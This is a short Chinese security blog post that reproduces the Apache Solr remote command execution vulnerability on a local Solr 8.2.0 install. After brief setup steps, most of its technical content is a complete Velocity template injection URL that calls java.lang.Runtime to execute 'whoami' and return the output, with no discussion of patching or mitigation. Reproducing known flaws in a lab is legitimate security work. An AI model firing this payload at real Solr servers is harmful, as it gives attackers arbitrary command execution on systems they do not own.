微慑信息网

[测试]Apache Solr远程命令执行漏洞

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

下载solr,在本地解压,进入solr-8.2.0目录,执行命令 bin/solr -e dih

访问http://localhost:8983/即可:

新增模块:

config和schema留空吧,不然会报错;

http://localhost:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

 

 

本文标题:[测试]Apache Solr远程命令执行漏洞
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2019/1031_9232.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » [测试]Apache Solr远程命令执行漏洞
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

微慑信息网 专注工匠精神

访问我们联系我们